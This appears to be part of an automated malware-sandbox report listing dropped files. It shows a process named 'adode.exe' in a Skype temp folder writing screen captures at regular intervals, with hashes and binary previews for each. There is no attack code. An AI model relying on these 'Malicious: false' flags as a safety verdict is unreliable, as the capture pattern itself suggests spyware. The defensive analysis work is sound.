SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_043047.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_044050.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_045054.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_050059.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_051104.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_052109.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152824
Entropy (8bit):	7.924856317096302
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5:7HM9tZj6BvNuHwpLyaG2T
MD5:	1B503203744530DCA29991A7C7EF553F
SHA1:	B97C775BE32BAD9C01ED1E8BDCE74AABF8796680
SHA-256:	BF742FFB1536DD87D95A21E660B4D8C6C54A326F9DC30A56901823AA1394850D
SHA-512:	D04B58BFC66AB5CEE441EECF77B771605BF35C7762FE0675876BBBB2D1AEA5906D1918280883F0A3BC5D695BFBAD1A85E9859762436FADCFA654EE66A0A5F24A
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_053117.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_054123.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_055131.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_060143.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_061155.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_062217.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_063255.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_091930.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_132238.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_175627.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240421_005022.jpg

